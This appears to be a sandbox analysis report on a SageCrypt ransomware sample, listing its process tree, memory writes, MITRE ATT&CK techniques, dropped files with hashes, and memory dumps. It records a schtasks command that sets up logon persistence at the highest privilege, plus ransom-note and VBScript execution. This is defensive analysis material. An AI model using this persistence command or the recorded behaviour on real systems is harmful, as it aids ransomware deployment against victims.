5688	jaffacakes118_Trojan-Ransom.Win32.SageCrypt.dwt.exe
5688	jaffacakes118_Trojan-Ransom.Win32.SageCrypt.dwt.exe
5688	jaffacakes118_Trojan-Ransom.Win32.SageCrypt.dwt.exe
5688	jaffacakes118_Trojan-Ransom.Win32.SageCrypt.dwt.exe
5688	jaffacakes118_Trojan-Ransom.Win32.SageCrypt.dwt.exe
5688	jaffacakes118_Trojan-Ransom.Win32.SageCrypt.dwt.exe
5688	jaffacakes118_Trojan-Ransom.Win32.SageCrypt.dwt.exe
5688	jaffacakes118_Trojan-Ransom.Win32.SageCrypt.dwt.exe
5688	jaffacakes118_Trojan-Ransom.Win32.SageCrypt.dwt.exe
5688	jaffacakes118_Trojan-Ransom.Win32.SageCrypt.dwt.exe
5688	jaffacakes118_Trojan-Ransom.Win32.SageCrypt.dwt.exe
5688	jaffacakes118_Trojan-Ransom.Win32.SageCrypt.dwt.exe
5688	jaffacakes118_Trojan-Ransom.Win32.SageCrypt.dwt.exe
5688	jaffacakes118_Trojan-Ransom.Win32.SageCrypt.dwt.exe
5688	jaffacakes118_Trojan-Ransom.Win32.SageCrypt.dwt.exe
5688	jaffacakes118_Trojan-Ransom.Win32.SageCrypt.dwt.exe
5688	jaffacakes118_Trojan-Ransom.Win32.SageCrypt.dwt.exe
5688	jaffacakes118_Trojan-Ransom.Win32.SageCrypt.dwt.exe
5688	jaffacakes118_Trojan-Ransom.Win32.SageCrypt.dwt.exe
5688	jaffacakes118_Trojan-Ransom.Win32.SageCrypt.dwt.exe
5688	jaffacakes118_Trojan-Ransom.Win32.SageCrypt.dwt.exe
5688	jaffacakes118_Trojan-Ransom.Win32.SageCrypt.dwt.exe
5688	jaffacakes118_Trojan-Ransom.Win32.SageCrypt.dwt.exe
5688	jaffacakes118_Trojan-Ransom.Win32.SageCrypt.dwt.exe
5688	jaffacakes118_Trojan-Ransom.Win32.SageCrypt.dwt.exe

Suspicious use of AdjustPrivilegeToken 2 IoCs

description	pid	Process
Token: 33	1300	AUDIODG.EXE
Token: SeIncBasePriorityPrivilege	1300	AUDIODG.EXE

Suspicious use of WriteProcessMemory 20 IoCs

description	pid	Process	procid_target
PID 5688 wrote to memory of 4336	5688	jaffacakes118_Trojan-Ransom.Win32.SageCrypt.dwt.exe	88
PID 5688 wrote to memory of 3364	5688	jaffacakes118_Trojan-Ransom.Win32.SageCrypt.dwt.exe	90
PID 5688 wrote to memory of 4432	5688	jaffacakes118_Trojan-Ransom.Win32.SageCrypt.dwt.exe	92
PID 5688 wrote to memory of 5384	5688	jaffacakes118_Trojan-Ransom.Win32.SageCrypt.dwt.exe	93
PID 5688 wrote to memory of 3740	5688	jaffacakes118_Trojan-Ransom.Win32.SageCrypt.dwt.exe	97
PID 5688 wrote to memory of 1568	5688	jaffacakes118_Trojan-Ransom.Win32.SageCrypt.dwt.exe	98
PID 5224 wrote to memory of 4628	5224	Rj3fNWF3.exe	99
PID 5224 wrote to memory of 6084	5224	Rj3fNWF3.exe	101
PID 5224 wrote to memory of 2284	5224	Rj3fNWF3.exe	103
PID 2284 wrote to memory of 2920	2284	Rj3fNWF3.exe	105
PID 2284 wrote to memory of 6064	2284	Rj3fNWF3.exe	107
PID 4432 wrote to memory of 5240	4432	jaffacakes118_Trojan-Ransom.Win32.SageCrypt.dwt.exe	109
PID 4432 wrote to memory of 4220	4432	jaffacakes118_Trojan-Ransom.Win32.SageCrypt.dwt.exe	111
PID 3740 wrote to memory of 4336	3740	Rj3fNWF3.exe	114
PID 3740 wrote to memory of 1140	3740	Rj3fNWF3.exe	116
PID 3740 wrote to memory of 3220	3740	Rj3fNWF3.exe	118
PID 5224 wrote to memory of 3852	5224	Rj3fNWF3.exe	120
PID 5224 wrote to memory of 5676	5224	Rj3fNWF3.exe	121
PID 3220 wrote to memory of 700	3220	Rj3fNWF3.exe	123
PID 3220 wrote to memory of 3772	3220	Rj3fNWF3.exe	125

C:\Users\Admin\AppData\Local\Temp\jaffacakes118_Trojan-Ransom.Win32.SageCrypt.dwt.exe
"C:\Users\Admin\AppData\Local\Temp\jaffacakes118_Trojan-Ransom.Win32.SageCrypt.dwt.exe"
1⤵
- System Location Discovery: System Language Discovery
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:5688
- C:\Windows\SysWOW64\cmd.exe
  C:\Windows\system32\cmd.exe /c cls
  2⤵
  - Executes a command shell one-liner
  - System Location Discovery: System Language Discovery
  PID:4336
- C:\Windows\SysWOW64\cmd.exe
  C:\Windows\system32\cmd.exe /c /IM
  2⤵
  - Executes a command shell one-liner
  - System Location Discovery: System Language Discovery
  PID:3364
- C:\Users\Admin\AppData\Local\Temp\jaffacakes118_Trojan-Ransom.Win32.SageCrypt.dwt.exe
  "C:\Users\Admin\AppData\Local\Temp\jaffacakes118_Trojan-Ransom.Win32.SageCrypt.dwt.exe" g
  2⤵
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:4432
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c cls
    3⤵
    - Executes a command shell one-liner
    - System Location Discovery: System Language Discovery
    PID:5240
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c /IM
    3⤵
    - Executes a command shell one-liner
    - System Location Discovery: System Language Discovery
    PID:4220
- C:\Windows\SysWOW64\schtasks.exe
  "C:\Windows\System32\schtasks.exe" /CREATE /TN "N0mFUQoa" /TR "C:\Users\Admin\AppData\Roaming\Rj3fNWF3.exe" /SC ONLOGON /RL HIGHEST /F
  2⤵
  - System Location Discovery: System Language Discovery
  - Scheduled Task/Job: Scheduled Task
  PID:5384
- C:\Users\Admin\AppData\Roaming\Rj3fNWF3.exe
  "C:\Users\Admin\AppData\Roaming\Rj3fNWF3.exe"
  2⤵
  - Executes dropped EXE
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:3740
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c cls
    3⤵
    - Executes a command shell one-liner
    - System Location Discovery: System Language Discovery
    PID:4336
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c /IM
    3⤵
    - Executes a command shell one-liner
    - System Location Discovery: System Language Discovery
    PID:1140
- - C:\Users\Admin\AppData\Roaming\Rj3fNWF3.exe
    "C:\Users\Admin\AppData\Roaming\Rj3fNWF3.exe" g
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:3220
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c cls
      4⤵
      Executes a command shell one-liner
      System Location Discovery: System Language Discovery
      PID:700
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c /IM
      4⤵
      Executes a command shell one-liner
      System Location Discovery: System Language Discovery
      PID:3772
- C:\Windows\SysWOW64\WScript.exe
  "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\f252888.vbs"
  2⤵
  - Deletes itself
  - Executes a VBScript file via the Windows Script Host.
  - System Location Discovery: System Language Discovery
  PID:1568

C:\Users\Admin\AppData\Roaming\Rj3fNWF3.exe
C:\Users\Admin\AppData\Roaming\Rj3fNWF3.exe
1⤵
- Executes dropped EXE
- Enumerates connected drives
- Sets desktop wallpaper using registry
- System Location Discovery: System Language Discovery
- Modifies Control Panel
- Modifies data under HKEY_USERS
- Modifies registry class
- Suspicious use of WriteProcessMemory
PID:5224
- C:\Windows\SysWOW64\cmd.exe
  C:\Windows\system32\cmd.exe /c cls
  2⤵
  - Executes a command shell one-liner
  - System Location Discovery: System Language Discovery
  PID:4628
- C:\Windows\SysWOW64\cmd.exe
  C:\Windows\system32\cmd.exe /c /IM
  2⤵
  - Executes a command shell one-liner
  - System Location Discovery: System Language Discovery
  PID:6084
- C:\Users\Admin\AppData\Roaming\Rj3fNWF3.exe
  "C:\Users\Admin\AppData\Roaming\Rj3fNWF3.exe" g
  2⤵
  - Executes dropped EXE
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:2284
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c cls
    3⤵
    - Executes a command shell one-liner
    - System Location Discovery: System Language Discovery
    PID:2920
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c /IM
    3⤵
    - Executes a command shell one-liner
    - System Location Discovery: System Language Discovery
    PID:6064
- C:\Windows\SysWOW64\mshta.exe
  "C:\Windows\SysWOW64\mshta.exe" "C:\Users\Admin\Desktop\!HELP_SOS.hta" {1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}{1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}
  2⤵
  - System Location Discovery: System Language Discovery
  PID:3852
- C:\Windows\SysWOW64\WScript.exe
  "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\f1.vbs"
  2⤵
  - Executes a VBScript file via the Windows Script Host.
  - System Location Discovery: System Language Discovery
  PID:5676

C:\Windows\system32\AUDIODG.EXE
C:\Windows\system32\AUDIODG.EXE 0x00000000000004E0 0x00000000000004DC
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:1300

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

Visual Basic

T1059.005

Windows Command Shell

T1059.003

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Persistence

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Privilege Escalation

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Defense Evasion

Indicator Removal

T1070

File Deletion

T1070.004

Modify Registry

T1112

Credential Access

Discovery

Network Service Discovery

T1046

Peripheral Device Discovery

T1120

Query Registry

T1012

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Defacement

T1491

Replay Monitor

Loading Replay Monitor...

Downloads

f1.vbs

Path C:\Users\Admin\AppData\Local\Temp\f1.vbs
Size 3KB
SHA256 2a0d2418a2504ad14960dcff54f0892339eeed53e359585c9b04a29c4e6e4274
MD5 37219fd2d09abee4189a1ae33de93e2d
SHA1 5e4cc26e169b6bd16843bcc86806556dac372c57
SHA512 626b89eb5b132ac43a6fb2d5dcc1c62349a6a48045a486835aa51c17348b0c4849cf5d56b4b56359c7bab5bdccaa04adf659f7486de84f9c14d86032272e5069
TLSH
T1EA615C1A2E69F17D1D9241C5272AC111F31BFCEE62030E86A40DE458761B3A72FD35F9
MD5 SHA1 SHA512 TLSH

Submit Download

f252888.vbs

Path C:\Users\Admin\AppData\Local\Temp\f252888.vbs
Size 576B
SHA256 69c28c856dfa93ab52ce92afe6049676b5ba2723e258b3b190d3d35d0772f54d
MD5 3f64a0714b6d254426d19b3444f254d8
SHA1 add7de6a61886de04f0a1e51a954163cfcb6c2cc
SHA512 662cf7ba012171ab460ad58fdf10aa1bc530e45f018e498e5313434ae76a2e7d50060b4bb160b1dca5eef2f44e32a117dc867a210d3847ec2709d90a38a77bd2
TLSH
T194F0B41077E91104F2F3BA247FB550110E39BA62E832D30C44C0174E04B19148D2AF6A
MD5 SHA1 SHA512 TLSH

Submit Download

Rj3fNWF3.exe

Path C:\Users\Admin\AppData\Roaming\Rj3fNWF3.exe
Size 258KB
SHA256 2755fc6b3d4b55a917c223449ad8e845dc733bd1de6de075376866ea2996fbd3
MD5 c9a3b1d23a9f9ce01ad9c8987ccf1c02
SHA1 9ccd590c6ed393d3c85680b517700d3818f27561
SHA512 9f92744e52d215f0f049d902b7795571600666872cda6f14a58559da3c86f584d1239a9fd8c2b40af0e5d1be07b83c1c77925a726d4d5b6093d47a3acd18798d
SSDEEP 3072:Em+JStGIZqFwR+DXH+jjGbXgmxa+6hv8LsXg10NSEa1CaMSm6lMeSqsqS035Miov:aG4XH0GD66WN/a3MSmyST0pvwxvTx
TLSH
T12D44DF02B6D1C4B2E6B706724878CE71577DFD224F718AA77794360B4D351E0AA32B63
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

s1qoaKDO.tmp

Path C:\Users\Admin\AppData\Roaming\s1qoaKDO.tmp
Size 72B
SHA256 a48368f2ba87a8480264d1f71b5bc61c9007b9d750c158d616a8e8bbba23232f
MD5 e25c13dd07d835c6d1995b069bf9053a
SHA1 23f8fcb99d12f0cac499e76f7f8dd2735983f501
SHA512 33d55517bf9686b27939551c27ecf1efd3192d3e391e08347e6d850c3eca88fe6f03b3f0e6d0c0cec37f18976ffa65396827d49bfdd6164e424c38affd8f2cb5
TLSH
T1F8A02222EB3CA2A0EC23A23A20C2222CC2230A000080802A0C00882B3B3800CA28082C
MD5 SHA1 SHA512 TLSH

Submit Download

!HELP_SOS.hta

Path C:\Users\Admin\Documents\!HELP_SOS.hta
Size 62KB
SHA256 cd5b216b0231ef25ad6563530207c79811467ad7fcfb63d8b5000fd5329d6530
MD5 0662443af193f2b900ec01b01d2d38fe
SHA1 fcf9b4fa13395a26b17048dd096fe5128ebc93af
SHA512 995aa742f048325905373e69c1f97fc483f0ad8ebf233e021958300257d2b29838f808bc0092b4571da6d9d45d503d2d0aa91e50115cfa1f058e39492998a2de
SSDEEP 1536:WrOWkH32C3x6VSk6EQU6q75PNJgwYGhKF+cSkpLdgl:WrefB6VSk6EQ7q75P/gwLncSAhgl
TLSH
T1C8534BB1ABCD986623A302CB5176B255F07F6D35C70ADA11F57B432070E2D50BA1E8B7
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

SendSearch.dotx...

Path C:\Users\Admin\Downloads\SendSearch.dotx...
Size 204KB
SHA256 ef78c37cfc0aa575b2d14663bec2f1b1a1b24c3447df5b56741299f9ab5141c7
MD5 bdd406e660455dc3ee4ad50023379b40
SHA1 37185b09d5916d6876a00c7488db568c1a52d492
SHA512 5651ef3a9a5eb887c5bb9ee177d75697f5292094647903bd18aa1025ad2815b59ff944215055fde78f07a8e85773d98151a0cb7508ad1f2e6a131c1d0ac8463d
SSDEEP 6144:e3bUzE/Qbp6D4fkhOjT/nHh16f5l0AUjmZBA:iqE/gfeOvvh16Xems
TLSH
T13E24230B58771BA7FA6D681EFE8255D885CDFA875A1314E288037DEC34A580296FF4C3
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

UnprotectRestart.dxf...

Path C:\Users\Admin\Downloads\UnprotectRestart.dxf...
Size 224KB
SHA256 b4a9dbb7c754c8e15e88aad2ce419bbf38aae2d38aa179a80aa5aaccdd82ca82
MD5 b119731694704e4b9398304cd6abf4fd
SHA1 6b22c89d8d65b785cb1a405b97959524f4af2241
SHA512 10659954c26fa4f86c5de853c22cfe09e1ae81f51f77fdfb3a3b9d75a67ce233771a6e98ba27f9ab00cece060fbad43c470c536c80d0ee8aa5b78931f56d5e3a
SSDEEP 6144:ySh1syWPqrc3YmBgpDIPaNzPA6FG2hktopSHqr2qh2:ySVWPUcInPVzktYRHh2
TLSH
T1B224238E1195FBBE1621CECAD72DCEB04D67AC59F2F1536E42EB58D0BCE45C52080A29
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

memory/1300-302-0x0000029A0D280000-0x0000029A0D441000-memory.dmp

Download

memory/1300-299-0x0000029A0D280000-0x0000029A0D441000-memory.dmp

Download

memory/2284-27-0x0000000000400000-0x0000000000445000-memory.dmp

Download

memory/2284-29-0x0000000000400000-0x0000000000445000-memory.dmp

Download

memory/3220-298-0x0000000000400000-0x0000000000445000-memory.dmp

Download

memory/3220-297-0x0000000000400000-0x0000000000445000-memory.dmp

Download

memory/3740-272-0x0000000000400000-0x0000000000445000-memory.dmp

Download

memory/3740-270-0x0000000000400000-0x0000000000445000-memory.dmp

Download

memory/4432-266-0x0000000000400000-0x0000000000445000-memory.dmp

Download

memory/4432-265-0x0000000000400000-0x0000000000445000-memory.dmp

Download

memory/4432-267-0x0000000000400000-0x0000000000445000-memory.dmp

Download

memory/5224-269-0x0000000000400000-0x0000000000445000-memory.dmp

Download

memory/5224-26-0x0000000000400000-0x0000000000445000-memory.dmp

Download

memory/5224-295-0x0000000000400000-0x0000000000445000-memory.dmp

Download

memory/5224-23-0x0000000000400000-0x0000000000445000-memory.dmp

Download

memory/5688-4-0x0000000002390000-0x0000000002391000-memory.dmp

Download

memory/5688-20-0x0000000000400000-0x0000000000445000-memory.dmp

Download

memory/5688-5-0x0000000000400000-0x0000000000445000-memory.dmp

Download

memory/5688-6-0x0000000000414000-0x0000000000415000-memory.dmp

Download

memory/5688-0-0x0000000002A10000-0x0000000002A54000-memory.dmp

Download

memory/5688-3-0x0000000002A10000-0x0000000002A54000-memory.dmp

Download

memory/5688-11-0x0000000002390000-0x0000000002391000-memory.dmp

Download

memory/5688-2-0x0000000002390000-0x0000000002391000-memory.dmp

Download

memory/5688-1-0x0000000002390000-0x0000000002391000-memory.dmp

Download